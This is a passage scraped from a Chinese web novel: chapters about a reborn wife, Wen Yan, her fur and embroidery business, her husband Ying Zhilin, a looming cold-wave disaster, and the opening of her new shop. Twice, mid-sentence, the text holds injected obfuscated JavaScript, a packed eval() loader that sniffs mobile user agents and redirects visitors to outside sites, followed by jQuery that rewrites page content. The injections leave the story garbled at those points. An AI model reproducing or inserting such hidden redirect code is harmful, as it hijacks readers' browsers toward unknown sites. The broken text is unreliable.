闻颜看着那背影蹙眉:“怎么有些眼熟?” 应知林道:“是黄家的人,**儿的堂弟。” “他没事到我们村里来做何?”闻颜眼睛瞪得圆溜溜的,“**儿对你不会还没死心吧!” 闻颜撞了他肩膀一下,怼他挤眉弄眼:“没想到你魅力这么大! 要不然,我找个媒婆去黄家提亲?让**儿再等两年,到时候嫁过来做当家夫人?” 应知林的脸色陡地一黑,从牙缝里挤出:“我宁愿光棍一辈子,也不会娶她。” “你这么大火气干什么!”闻颜缩了缩脖子。 应知林怕把她给吓着了,深吸一口气,才同他解释:“**儿开了一个卤肉摊,生意好得很。 她家的人到处收家禽。 不过,以前这些事不是交给她亲大哥来做吗?现在怎么让他堂弟来做了?” “原来如此。”闻颜点点头,不由想到那日去京城,在县城买到的卤味,不会就是**儿的吧! 看来,经历过掉井一事,让**儿彻底清醒了。 **儿有这么好的卤肉手艺,将来的日子必定不会差! 闻颜他们回到家中,佩儿几人把家里打理得井井有条。 小海和知雪每天跟着辰七哥读书三个时辰。 五婆婆和外祖母胖了一圈儿。 应知林恢复书院、家中两点一线的生活。 村里但凡针线活过得去的人,都接了缝制皮草的活,八卦亭里每天都很热闹,全是来做针线活的。 佩儿在里面加了几个火炉,大家做活时,才不会受冻。 八卦亭里不仅充满了欢声笑语,还是八卦集散中心。 这日裁新的皮草料子,闻颜被请去指导技术,婶子们又说起新的八卦: “你们知道吗?黄家不行了!” “怎么不行了?前段时间,他们不是还赚得盆满钵满吗?” “县里有个大人物看中了她的卤肉方了,想买下来。 **儿倔脾气,说什么都不肯卖,结果就遭了那个大人物的黑手。 她两个哥哥被打断的腿扔在家门口,要不是她爹起夜发现,她两个哥哥早就冻**。” “啊……这么惨呐!” “那种好东西,我们这种普通人是留不住的。 **儿还没学乖,最近又在弄什么咸蛋,正让她堂弟四处收鸡蛋呢。” 闻颜听得摇了摇头。 **儿无权无势,怎么可能保住方子? 她最开始就该找一个靠山,少赚一点,但安全。 以后有机会遇上,倒是可以提醒提她一二。 忽然,有个婶子挤到闻颜面前,手里拿着一块巴掌大的碎布头,一脸讨好笑容地看着闻颜:“举人娘子,这些大块的布头能卖给我吗?我想给家里的小孩做一副手套。” “当然可以。”闻颜道,“你家里孩子多,就多挑几块吧。” “谢谢,谢谢举人娘子了。” “大家都是一个村的邻里,不用客气。”闻颜又对其他人道,“你们有谁想要,也可以挑几块。就算是掉下来的浮**,也可以用来絮棉衣。” 众人面面相觑,最后一个人问道:“那我们跟你买吧。” “今天这些布头和浮**不要钱,就当是你们发福利了。”闻颜脑中忽然灵光乍现,叫上佩儿,“回家,我有新的想法了。” “好的,小姐。” 闻颜回到家中,就坐到桌前拿出纸笔:“佩儿,我们应该还有很多裁下来的碎布头吧,你帮我去取些过来吧。” “颜色大小有要求吗?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15432334|167867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“不挑,都拿一点吧。”闻颜蘸上墨水,已经画了起来。 等佩儿把皮草的布头拿回来,闻颜的草图也画完了。 两人分工合作。 闻颜绣样图,佩儿则按照尺寸裁剪。 外祖母来门口观望了好几次。 闻颜知道,外祖母心里有个结,觉得在这里白吃白住。 闻颜便叫外祖母一起帮忙。 外祖母见自己能帮上忙,顿时高兴起来。 外祖母的针线活很好,三人一边闲聊,一边作事。 聊着聊着,便说起应知林小时候的趣事。 应知林小时候可皮了,下河摸鱼,上树掏鸟窝,打遍村里无敌手。 七岁上私塾读书,十岁中童生,十六岁就考中了秀才。 意气风发,夺目耀眼。 可惜,自从他爹娘去世后,弟妹和老应家,就像几座大山压在他肩膀上。 年少意气的他,强迫自己变得沉稳,保护弟妹…… 佩儿听得心里发酸:“姑爷他真可怜。” 闻颜却在想:果然啊! 即便应知林二十多岁了,他骨子里还是缺爱,想要依恋他人…… 他们说着话,不知不觉就天黑了。 “外祖母,您又在说我小时候的糗事了吗?”应知林的声音突然从门口传来。 “哎呦,知林散学回来了。” 应知林走进来,自然而然地坐到闻颜对面。 外祖母见状,朝佩儿使了个眼色,两人就离开了。 房间里只剩下二人。 应知林见闻颜在刺绣,葱白似的手指,蝴蝶似的飞针引线,垂首的动作使她的脖颈越发柔长。 明亮的烛光仿佛给她镀上了一层金芒,耀眼无比。 应知林的的目光,根本无法从她身上移开。 闻颜抬头对他笑笑:“你回来了!晚饭吃过了吗?你今晚睡床吧。 不过休息之前记得把屏风搬过来挡在中间,有光线影响你的睡眠质量。” “别动。”应知林却答非所问,弯腰,轻托住她的下巴:“浮**沾在你的眼睫上了。” 两人四目相对,又快速移开。 他替她拎下浮**:“你看。” 第311章:开始信任 “谢谢!”闻颜按了按酸胀的眼睛,继续干活。 应知林并不上床休息。 而是拿了书和纸笔,坐在她对面。 她绣花,他读书。 时不时问答一两句。 温馨的气氛在两人之间流转,应知林只觉得胸口胀胀的,有什么东西会随时冲破胸膛涌出来。 他轻按着胸口。 他知道,这种感觉就是幸福吧。 让他空虚的内心,被温暖充盈。 闻颜察觉到灼热的视线,抬头看着他:“怎么了?我脸上还有浮**?” 她问得随意,但是眼神却带着不易察觉的警惕和审视。 这小破孩儿,不会真的动了不该有的心思吧! “不是。”应知林瞬间清醒,连忙移开眼神,将汹涌外溢的情感压抑住。 他笑着道:“看见你刺绣的样子,我想到一首诗。” “什么诗?” “慈母手中线,游子身上衣。” 原来这家伙是想娘亲了。 闻颜‘扑哧’一声笑出来,支起身体子,想摸摸他的头,“乖,我的好大儿,这个不是给你缝的。” 应知林的眼圈却突然红了。 闻颜吓得缩回手:“你别哭啊,我跟你开玩笑的,不是故意要占你便宜……” 七尺男儿,怎么说哭就哭了。 “不是。”应知林连忙擦去眼泪,摇摇头,“不是因为你,我只是太想爹娘了。 不知道为什么,每次跟你相处,都会不由自主地想起他们。” 应知林朝她伸出双手:“你可以摸摸我的脸吗?就像我娘一样。” 应知林的眼眶红红的,还带着泪水。 就像一只在外面被欺负了的小奶狗,回到家里蹭着主人的腿要抱抱。 还是一只超级漂亮、傲骄的细犬。 闻颜一下就心软了,把手伸了出去。 应知林小心翼翼握住她的双手,贴在脸上两下,随后又依依不舍地松开。 应知林擦了擦眼角细碎的泪水,对闻颜道:“谢谢你,刚才是我失态了。” 闻颜摆摆手:“嗐,这算啥。咱们可是小伙伴,互相帮助是应该的。 床下的箱子里有一个小匣子,你帮我拿出来,就当是感谢费了。” “好。” 应知林拉出床下的箱子,打开之后,发现里面除了一些名贵的布料,还有一些许多金银玉器。 闻颜连小金库都不避讳自己,可见她越发的信任自己。 应知林的嘴角忍不住上扬,手中动作都轻快了许多。 他很快就找到闻颜要的匣子,拿给了她。 闻颜打开匣子,就见里面装着满满一匣子珍珠。 珍珠有大有小,质量也有好有坏。 确定没拿错后,闻颜把匣子放到一旁,催促应知林:“你念了一天书也累了,就早些休息吧。” 刚刚已经得寸进尺,应知林生怕自己死皮赖脸,会惹得闻颜不高兴,便听话地去睡觉了。 搬到东跨院后,应知林还是第一次躺在闻颜的床上。 高床软枕,处处都散发着闻颜的香气。 应知林心脏怦怦乱跳个没完。 没过多久。 屏风的另一边,就传来应知林均匀的呼吸声。 闻颜重重松了一口气。 她摸了摸发烫的脸颊:应知林也太会撒娇了! 他顶着那样一张脸撒娇,泪眼蒙蒙的样子,她根本抗拒不了。 不行。 心疼男人会变得不幸,以后一定要与他保持距离。 一夜无话。 应知林醒来时,发现闻颜趴在炕桌上睡着了。 旁边放着一幅完工的绣片。 应知林把她轻轻抱回床上。 替她掖好被多,目光贪婪地在她脸上逡巡:“娘子,什么时候,你才能真正的接受我!” 他在她额头印上轻轻一吻,便动身去书院了。 闻颜又忙活了一天,天色黑尽之时,镶上最后一颗珍珠之后,闻颜的作品就完成了。 围脖、手套、帽子、耳罩、挎包,发簪,还有一些小饰品。 这些小东西,全都是用锦缎配合绣花、皮草再镶以珍珠制成。 特别是那个挎包。 暗绿色的蜀锦,外缀一圈毛边,中间以珍珠镶嵌出图案,一看就很贵。 还有那条围脖,用纯白色提花缎,四周两面都点缀从白色过渡到浅灰的小**球,两端再绣以精致花鸟。 看着就暖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15440196|167867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乎乎的。 若是能围上它,再冷的天气,也会变得暖和了吧! 发簪就更加可爱了,兔毛染成其他的颜色,再配以珍珠流苏。 还有帽子…… 闻颜叫来佩儿戴上试一试。 为了能配上这些饰品,佩儿还特地去换了一件石榴红的圈毛领的袄子。 佩儿本就好看,再戴上这些饰品,简直就像菩萨座前的金童玉女。 佩儿转了个圈:“小姐,好看吗?” “很好看,很适合佩儿,这一套放在店里做展示不卖,等做出新的了,就换回来给佩儿。”闻颜对这一套东西,满意极了。 佩儿摆着手:“不行!这可是小姐亲手做的,怎么能给我用。 我拿些材料重新做一套就好了。” “这也太精致漂亮了,不知要卖多少钱。”外祖母也跟着赞赏道。 虽然这些东西,都是用碎布头做出来的。 不过,除了皮**,又是镯锦,又是珍珠,还特别费工夫,三个人做了两天才成。 没有五十两银子,闻颜不会卖。 “确实很好看。”应知林走了进来。 他怀里还抱着一束梅花。 红色怒放的红花,配着他精致的眉眼,让应知林更加俊美无俦。 应知林把梅花递给闻颜:“谢谢你昨天安慰我。” “不用谢,谁让我们是……夫妻呢。”外祖母在场,闻颜硬生生把‘合作伙伴’几个字咽了回去。 完蛋,差点就露馅了。 翌日,闻颜就让人将新品和图纸送去‘天衣布庄。’ 孟迟飞一得空,就跑来松山村找闻颜。 姐妹俩好久不见,有说不完的话。 白天没聊够,晚上更要促膝长谈。 当天晚上,应知林就痛失卧房,被撵去和小海住。 应知林抱着被子离开的时候,瞪了孟迟飞一眼,还朝他眦牙。 然后又用幽怨的小眼神看着闻颜。 闻颜朝他拱手:“拜托拜托!” 应知林:“……” 要命。 他根本拒绝不了闻颜的示弱好吗! 他抱着被子,转身离开,刚走到院子里,就大声喊道:“颜颜,下雪了!” 第312章:寒潮酝酿 “哇!真的下雪了!”应知海跑出来,高兴得在院子里手舞足蹈。 家中其他人都出来看初雪。 外祖母道:“今年冬天气候偏暖,大家都在担心没有雪,会影响明年的麦收。这下好了,农民有盼头了。” 五婆婆也道:“瑞雪兆丰年,下雪好啊!” 大家都对这一场雪的到来高兴,唯独闻颜,轻蹙着眉头:来了!今冬的寒潮开始酝酿了。 应知林最先观察到她的异样:“怎么了?你讨厌下雪天?” 闻颜摇头:“不是。” 孟迟飞见状,小声问道:“可是有什么问题?” “一会儿进屋再说。” “好。”孟迟飞压下焦急,耐心等着。 让小海在外面玩了一会儿,天气就以肉眼可见的速度下降。 闻颜就把老弱病残赶回屋里:“天寒地冻,可别冻感冒了。” 闻颜则和孟迟飞回了房间。 关上门之后,闻颜往炉子里加了些炭,便和孟迟飞一起钻进了被窝。 孟迟飞在床上滚了两圈,满足地道:“不知道为什么,你的床总是比别人的柔软暖和。” 闻颜笑着把她塞进被窝里:“当心别着凉了。” 孟迟飞乖乖缩进被窝里,把头歪在闻颜的颈窝里,幸福地道:“我要是个男人就好了,我就把你娶回家,这样就能天天跟你躺一个被窝了。” 闻颜想捏她的脸。 孟迟飞皮肤太紧致细腻,她竟然没有捏住。 两人腻歪一会儿,孟迟飞就问起正事:“你刚才看见下雪那副表情,是不是又有什么坏事即将发生?” 闻颜点点头,才道:“没错。今年,大庸北境有范围极广的寒潮雪灾。” “什么!”孟迟飞激动得坐了起来,她紧张地看着闻颜,“情况有多严重?北境不会也……” “孟将军治理有方,北境军中的情况还好。”闻颜握着她的手,安慰道。 “最难熬的是普通百姓……寒潮来临之时,只是京城周边,就冻死了四千多人。 京畿富庶,越往北走,条件越恶劣,冻死的人,更是不计其数。” 孟迟飞听得胆寒:“那朝廷呢?就没有什么补救措施吗?” 闻颜摇摇头:“朝廷有多缺钱你也清楚,拔的款本就还多,再加上层层盘剥,能到百姓手中的,十不足一。” 孟迟飞问闻颜:“那你可有什么挽救规避的办法?” 闻颜摇头:“你们回来那日,我就跟蓝心姑姑说过了,不知皇上和皇后是否重视。” 她现在唯一能保证的,便是晋阳府不会受灾严重。 因为她收炭,几乎各村都有制炭。 闻颜又让田叔给他们留了盈余。 寒潮真正来临,他们有所准备,不至于太惨。 “颜颜,这你不必担心,我明天就进宫去催一催皇上,让他把这件事重视起来。” “合香丸求到了吗?” “求到了,别说那药丸真是一个好东西。隔着瓷瓶,都能闻到它散发的幽香。” “你和希延大哥,拿着药丸尽快回北境一趟。” “你不是说北境不会有事吗?是不是我爹的毒……” “不是。跟你们交战的境外蛮族之中,有一个叫狼先的是吗?” “是。那个部落特别凶残,杀人如麻,我都在他手里吃过两次亏。 莫非…… 狼先部落,会趁着这次寒潮作乱?” 闻颜点点头:“也不知他们是不是受人指点,这个冬天他们一改曾经横冲直撞的打法,开始骚扰袭击,把咱们的北境军耍着玩,好几次被他们牵着鼻子走。 孟将军又因为体内毒素,应会得很是吃力,最后我们不仅损失了四五万百姓,还丢了两座城池……” 这一次他们尝到甜头,后来,他们就时不时用这种方法骚扰边境,并且越来越壮大。 直到几年之后,孟家败落,孟迟飞投军北境,想为父报仇,重振家风。 也迟迟未能将他们拿下。 孟迟飞听完经过,顿时眉头紧蹙:“狼先一族民风彪悍,以勇猛为尊,从来不屑于使用这些阴谋诡计。 他们恐怕找到了能文能武,很厉害的军师。” 孟迟飞不由担心起来。 “不排除北境军中,混入了他们的细作。” “该死的狼先族,这次我绝对不会饶过他们。 明天我回京向皇上禀报完雪灾之事,就立即起身去北境。 对了,颜颜,你主意最多了,可有什么法子,能克服他们?” 闻颜眼珠子转了转,道:“我确实有一个法子,不过这个法子很危险,你确定要试?” “你先告诉我,要不要用,我回去找大哥和母亲商议之后再做决定。” 闻颜朝他勾勾手指:“你附耳过来。” 孟迟飞果真把耳朵靠了过去。 闻颜在她耳畔一阵低语。 孟迟飞的脸色就像调色盘一样,变了又变,最后对闻颜竖起大拇指:“还是你牛,这样的办法也想得到。不过,就像你说的,这个方法风险系数太高,一不小心没搞死敌人,自己还有全灭的可能。” “所以我说,这个方法要慎用。”闻颜的眼神忽地变得坚定,“不过,我建议你们就这么干。它不是没有规避的方法。只要操作得当,我们就可以四两拔千金,让狼先一族彻底铲除。” “你说得对,瞻前顾后反而会损失更多。”孟迟飞握紧了拳头,“大不了我亲自去弄,反正我已经不怕了,安全得很。” 孟迟飞已经开始琢磨,怎么才能以最快的速度达成目的。 闻颜握住她的手:“即使如此,你也要仔细仔细再仔细,照顾好自己。” “放心吧,我不会有危险的。”孟迟飞揉着她的脑袋安慰她。 “你们早日去北疆吧,孟将军身边也能多几个可靠之人。” “那你的铺子呢?定好开业时间了吗?”孟迟飞撅了撅嘴,一把搂住闻颜,“我原本是要留在京中过年的,陪着你一起新店开业。” “北境的事要紧,赚银子的事不急,我能处理好的。” 孟迟飞撅了撅嘴:“那好吧。到时候有什么事,你去京中找我娘。” “对了,对了,你最后一批炭到了吗?” 闻颜道:“前两日已经送达了。对了,我正想跟你说这件事。” 第313章:应喜妹踢到铁板了 闻颜前几日去点货,发现那些送炭的挑夫,穿着真的很单薄。 大冬天的,许多人都穿着两件单薄的外衫,光着脚丫子。 好在前几日不算冷,并没有人冻伤。 但是今日降下大雪,他们若是再没有厚的衣服,恐怕就…… 闻颜拉着孟迟飞的手:“姐姐,我想在京城筹集一些旧衣,恐怕要你帮忙……” 孟迟飞道:“这也是小事,我会去办的。” 最后,他们又说起炭的事,孟迟飞点着她的脑袋:“难怪你自信满满,弄来那么多炭,这个冬天,你不会少赚。 所以说,在城门口那一次,江心葵母女问你要,也是打着这个主意?” 闻颜点头确定。 孟迟飞顿时冷嗤一声:“他们母女俩还真是脸大。 什么便宜都想占。” “我怎么发现,但凡跟应知林沾上关系的女子,都没一个安分的?” 闻颜瞪圆了眼睛看着她:“喂,迟飞姐姐你可不能冤枉好人,我现在可是应知林名正言顺的妻子。” “好吧,你除外。外面那些阿猫阿狗怎么能跟你比。” 闻颜撇撇嘴,表示不信:“听你这语气,又有人惹到她了?那人还跟应知林有关。 让我猜猜,那个人不会是应喜妹吧。” 孟迟飞嘿嘿一笑。 “还真是她啊!她做什么了?让你发这么大的火?” “她简直是疯了。 她前几天来到京城,刚进城门就哭哭啼啼,说我哥欺负了她,还不负责任。 搞得我哥哥就像一个大渣男。 没用半天时间,她就把我哥的名声搞臭了。 不少御使趁机在早朝上弹劾我哥,烦死烦死了。 本来我哥说媳妇就困难,偶尔才有一两个媒婆上门。 这些流言一传出来,得……这下好了。就更没人上门了。 闻颜倒是不以为意。 希延大哥有钟情的女子,她不会轻易妥协的。 应喜妹找上门,反而能帮他挡掉那些烂桃花。 说不定他心里高兴还来不及呢。 孟迟飞给她竖起大拇指:“怕怪我爹娘都夸你蕙质兰心,一眼就看透我哥的小九九。 前几天皇上催婚我哥,我哥就真打算用这件事毁了名声,摆脱亲事的烦恼。 只可惜她打错了主意。” 闻颜被她勾起好奇心:“怎么说?” “皇上早就想给我哥塞个媳妇了。 怎么可能允许有人玷污我哥的名声,耽误他的婚姻大事。 当即就叫来大理寺卿亲自审理,一定要把这个案子查得水落石出。” 大理寺的人当天就把应喜妹提到公堂审理。 大理寺卿问她要人证物证。 应喜妹胆子倒是很大,哭哭啼啼的说孟希延去赈灾之前就勾引她。 借着访友的名义接近她,还让她跟着去晋阳府侍候他的生活。 说到这里,孟迟飞就得意地翘起嘴角:“小样儿,我还能让她把我给害了! 我一早就看出她不安好心了,见她出现在晋阳城,我就一直防着她。” 她一到晋阳府,我根本没给她看见我哥的机会,直接带到小院里幽禁起来了。 能为她做证的,就只有看管她的那几个婆子,那些婆子自然不会为她做假证。 婶子们把实话一说,事情很快就水落石出了。 应喜妹就被钉得死死的。 “你是不知道,她当时有多窘迫。还被发配去扫大街三个月。” 闻颜抱紧孟迟飞的胳膊:“是她不识好歹,自作自受。你一心为她考虑,故意安排好几个婆子送她回来,又特地说了那一番话帮她掩饰。” 两人挨在一起,又说了会儿话,不知不觉间就沉沉睡去。 皇宫中。 皇上披着一件外衣,站在廊下看着天空飘飘洒洒落下的雪花。 皇后拿着一件斗篷走了出来,细心地给皇帝披上:“怎么了?睡不着吗?” 皇上拉着皇后的手,把他揽入宽大的斗篷里,箍得紧紧的。 他用下巴摩挲着皇后柔软的头发:“是我吵醒你了吗?” “嗯。”皇后点点头,“身边的位置空了,我不踏实。” “这么多年来,我不在的时候,你是不是总会这样惊醒?!”皇帝的心里满是歉意。 皇后道:“我是大庸国母,享受了这份尊荣富贵,就要学会承担它的责任。” “都是我不好,要不是嫁予我,你也不会像只囚鸟。” 皇后摇头:“身为女子,如果不能成为白夫人和迟飞,不管身在何处都是囚鸟。 能做这世上最尊贵的囚鸟,我很高兴。” 皇后看着皇上,笑得温柔。 又在他的脸颊亲了一口,这才看着天空的雪花:“这场雪来得很快,他们说的雪灾、寒冬真的会来吗?” “没发生的事谁也说不准,有备无患总没错的。” 皇上紧紧抱住自己的妻子,坚毅的面容带着忧愁。 翌日。 孟迟飞就准备回京了。 闻颜送她出门:“姐,你回去之后,再多派些人去庄子上,帮盯着木炭那边。” “怎么回事?有人盯上咱们的炭了?” “已经早就盯着了,之前一直没动作,现在突然降温,我怕那些人会按捺不住,现在就动手。” “行,我知道了。我会让他们加强防备的,你这边也小心着点,那么多皮草,易燃易爆。” “放心吧,我心里有数。” 这时,佩儿和康叔抬着一个大大的包裹,塞进马车里:“小姐,东西已经放好了。” “那里面是我给你和义母、将军和希延大哥做的皮草。今年冬天会很冷,你们都用得上。” “颜颜,你真好。”孟迟飞抱着闻颜,“我不能陪你过年了。 等我把那边的事情解决好了,再回来陪你玩。” “注意安全。” 孟迟飞的马车徐徐离开。 闻颜长叹一口气,道:“走了,回去查黄历,挑个好日子,新店开业。” “好嘞!我这就去抱黄历。”佩儿踩着雪,嘎吱嘎吱地跑开了。 闻颜只用了一盏茶的功夫,就挑定了日子。 就定在腊月二十日。 随后就是写请帖,送请柬, 十五一到,她就去京城主持大局,盯着开业的一切事务。 大大小小的事务,把闻颜忙得晕头转向。 第314章:又又又又赚钱了 闻颜把事情理顺之后,就去了一趟‘天衣布庄’。 她和崔掌柜到帐房里谈事。 闻颜先核对了这个月的账目。 看见金额,闻颜乐开了花:“过年的时候果然生意好。” 崔掌柜跟着笑道:“咱们的款式漂亮,很得那些夫人千金们的喜欢。特别是您新画的那几套配饰,别提有多受欢迎了。 订单都已经排到年后了。” “庆公子那边呢?货卖得怎么样了? 我们赶出来的货,大部分都让他拿走了。 否则我们的货也不会供不应求。”崔掌柜又拿了一本账本出来。 闻颜直接翻到最后一页。 她在庆川这边赚的加工费,都快赶上自己这边一半的利润了。 想到这一长串数字都是白花花的银子,闻颜的心情就好得不得了。 “崔掌柜,这是年底最后一次盘账了。给伙计的赏钱和东西都准备好了吗?” “已经算好了,你过过目。”崔掌柜将一份账目放在闻颜面前。 闻颜一目十行地看完,然后道:“这个月的盈利,再拿出一成来,再按照表现高低发给大家吧。” 崔掌柜顿时笑眯眯的:“他们能过一个大肥年。” 闻颜道:“有钱赚,大家做事才会更用心嘛。” 清点完银钱,闻颜又去一点墨结账,随后才拿着银子去孟家。 恰巧碰上出门采购的厨房管事。 “闻颜小姐,你今儿怎么有空过来?” “我寻到好吃的点心,给义母送些过来,二婶婶在家吗?” 两人一边说话一边往里走。 “二夫人在家的,要我过去请过来吗?” “不用,等我陪会儿义母,再自己过去找她。” 管事惊讶的道:“大夫人不在家啊!” “义母出去访友了吗?” “不是。 大夫人和大小姐一起去北境了呀,从您那里回来的第三天,她们就出发了。” “我以为是希延大哥和迟飞姐姐一起去的。怎么换成义母了?” “这都是皇上的意思。希延年后还要去晋阳府赈灾,所以没让他去北境。 不过,据我猜测,皇上是想趁着过年,给你大哥相看姑娘。” 闻颜见到二婶婶后,才知道真实原因。 “大哥能愿意?!”闻颜可是知道,孟希延心里放着一个白月光。 他早就跪在二老面前,说他今生非卿不娶。 义母夫妻拗不过他,已经答应了。 虽然在前世,希延大哥最终得偿所愿,但是在一起的方式太过惨烈。 仔细算来。 那位准大嫂,这个冬天就会回京,并且遇上危险,最后…… “谁说不是呢!”二婶婶见她一会儿蹙眉,一会儿嘟嘴,不由用手指戳了戳她的脸颊,“颜颜,你在想什么?” 闻颜回过神,笑着摇了摇头:“没想什么。哦对了,上次向您借的抚养费,我已经凑齐了。” “我的钱不急着还,你用着。” “我手里本来就有钱,只是上次出门突然,没带那么多在身上。 况且现在年关将近,到处都是花钱的地方,我就更不能把钱捏在自己手里。” “你啊!”二婶宠溺地捏捏她的脸蛋。 两人聊了一会儿,闻颜就告辞离开。 属于迟飞的那一份分红,只能下次再送过来了。 闻颜刚坐上马车,就看见孟希延骑着马回来了。 “颜颜。”孟希延叫住她。 “希延大哥,你下衙回来了!”闻颜抱着箱子就跑了过去。 “这么冷的天,你怎么过来了?”孟希延跳下马车,走到闻颜跟前。 闻颜把钱匣子塞到孟希延手里:“大哥,这里面是给迟飞姐姐的分红,账本在里面一起放着,你先帮迟飞姐姐收着。” “好,那我就先替他收着。你那边最近可有我能帮忙的?” “目前还好,有需要我一定去找大哥。” 孟希延扬了扬戴着手套的手:“多谢闻颜妹妹给我们准备的裘皮手套,非常暖和。” “只要保暖就好,没别的事,我就先走了。”闻颜转身回马车,忽然想起什么,又退了回来。 她从挎包里拿出一张请柬:“上次皇后娘娘说,新店要开业的时候给他发请柬。 皇后娘娘不会来,但我们的礼数要尽到。 宫里我进不去,只能麻烦大哥您跑一趟了。” “这点小事交给我就好。”他接过请柬就收进袖袋当中,“哦,对了。放炭的庄子上,最近有很多人在那边晃悠,你想怎么处理?” “鱼儿还没上钩,多加一点人手,再等几天吧。大哥那边还有人手吗?” “放心吧,那边我会盯好的。” 孤男寡女不好长时间独处,两人交流一阵,就分开了。 闻颜坐在回家的马车上。 她双手环胸,手里转着头发,闭目养神,努力回忆着孟希延和他的真命天女的事。 前世因为嫁入津平侯的时间不长,一举一动都要求规行矩步,想把她打造成名门媳妇的典范。 别说是出门,就连外界的消息,都被严格控制着。 以至于孟希延那位真命天女哪天出事,什么时候出事,她都只知大概。 将所有线索在脑海中过了一遍。 因为过厚的积雪,耽误了援救速度。 她被扔在冰天雪地,冻毁了半边脸。 孟迟飞救到她回京之时,遇见上香回京的贵夫人。 这么冷的天气,那么厚的积雪,多半是在寒潮之后。 每年腊月的最后十日,正是大佛寺里添香油钱最忙的日子。 这些条件相结合,闻颜已经能猜到大致时间和方向了。 到时只要去附近蹲点,应该能把那位姐姐救下来。 闻颜睁开眼睛,眼神里全是坚毅。 既然自己都重生了,怎能让前世惨剧重演! 孟家若能摆脱前世宿命,再多救一个人,又有何不可? 她想让孟家所有人都有一个幸福、美满的未来。 就更不能让希延大哥留下遗憾。 当然,英雄救美的事,还是要让希延大哥亲自来才好! 定下目标,闻颜的心思就落定了。 转眼就到了腊月二十日,闻颜新店开业的日子。 一大早上,清风小楼前就张灯结彩。 虽然新宅子与府衙只隔了一个坊市,但其实这边算不得多热闹。 一时间并未引起太多关注。 开业之前,闻颜叮嘱侍女和净面娘子:“你们不必紧张,今天应该没什么客人。” 她的话刚说完,一个侍女就匆匆跑了进来:“夫人,后门来了一辆马车,说是来登门贺喜的。” 第315章:贵客 “后门?贺喜?把人请进来了吗?”闻颜疑惑问道。 “哪有贺喜走后门的,不会是来闹事的吧。”立夏鼓着腮帮子,跺了跺脚。 “那人没有下车。弄得神神秘秘,确实不像好人。”侍女继续道。 “先去看看吧。真是闹事的,我们不出去他们也会闹大。”闻颜率先朝后门走去。 院门打开。 就见不宽的后巷里停着一辆低调的马车。 闻颜走到马车前,拱手揖礼:“客人,请问您找我?” 马车帘子掀起来:“颜老板,我们又见面了。” “蓝心姑姑!”闻颜连忙行礼,“见过蓝心姑姑。您过来,快请进店里坐。” 蓝心姑姑悄悄从后门来,就说明皇后记得她这个人,但并不想给她借光。 不过,蓝心姑姑是皇后的贴身宫女,身体不一般。 她今天能特地走一趟,已经是莫大的荣幸。 闻颜笑着上前扶她。 蓝心姑姑却转身扶着另一个人出来。 那人披着一件织金的斗篷,宽大的帽子戴在头上。 她微微低着头,闻颜看不清她的长相。 蓝心姑姑如此恭敬,闻颜已经猜到她是谁了。 闻颜连忙绕到另一边搀扶。 她的身后,又接连跟出两个裹着斗篷的孩子。 “把马车安顿好,记得给最好的草料的。”闻颜吩咐一句,将其他人打发走了,只留下闻颜和佩儿近身侍候。 此时。 女子这才揭下斗篷的帽子,畅快地伸了个懒腰:“舒服!外面的空气果然新鲜,怎么还有一股甜甜的花香。” 她身后的两个孩子也摘下斗篷,露出两张稚气的脸蛋。 一个小姑娘看十三四岁,一个小男孩跟小海年纪相仿。 都生得粉雕玉琢,伶俐可爱。 不过……怎么看着这两个孩子有此眼熟呢? 感觉不久前才见过,但又一时想不起来。 闻颜连忙跪下:“见过皇后娘娘,二位殿下。” “免礼吧。”皇后娘娘抬抬手,蓝心姑姑上前将人扶了起来。 闻颜站起身,规矩的低着头,不敢直视皇后:“娘娘,现在店里还没有客人,您是逛一逛园子,还是去雅间喝茶吃点心休息? 还可以净面、染蔻丹、染花钿……” “难得出来一次,先走走吧。” 闻颜便带着她们去有特色的院子逛逛。 这些园子,闻颜都特地设计过的。 春花秋月,稳步换景。 一圈逛下来,皇后很是惊讶:“你这些园子,倒是打造得很别致,小巧精致,很不一样。 眼前这一湖残荷披雪的景致,很有意境。” 闻颜笑着回禀:“回娘娘,毕竟是开店,总要弄些不一样的特色。 所以在改造院子的时候,我特地参考了江南的园林设计。” 皇后点点头,没再多问。 他们又逛了两个园子,闻颜就将他们领去店里最好的小院。 店里,技艺最好的娘子,已经等候在院子里,其中就有香莲。 房间里很暖和,进屋就能脱去厚重的外衫。 公主对染花钿和蔻丹很感兴趣,对应的娘子就上前侍候。 闻颜把他们安顿好,正要在一旁为他们泡茶,这时便有侍女前来通报:“东家,揭绸的吉时到了。” 闻颜看向佩儿:“你去主持吧。” 皇后挥挥手,蓝心便道:“颜老板自去忙吧。” 闻颜这才行礼告退出去。 离开院子后,她特地在院门口挂了“免事”的牌子,就匆匆朝前院而去。 店门口已经围了许多凑热闹的人。 闻颜一出现,一支队伍就敲锣打鼓的走了过来。 他们后面,还抬着一只扎了红绸的烤乳猪。 孟希延走在前面领头,浑身都透着不自在。 他的几个弟妹,也跟着他一起来了。 闻颜差点没“扑哧”一声笑出来。 孟希延低调内敛,不喜张扬。 以前战胜回朝,只要没有上命必须列队回朝,他都会特别低调,悄悄就回家去了。 今天这一场,应该有种耍猴的羞耻感吧! 不一会儿,队伍就到了店门口。 孟希延接过一只锣,他轻咳一声,竭力忍耐住尴尬,然后猛地一敲:“镇国将军府,送来贺礼。” 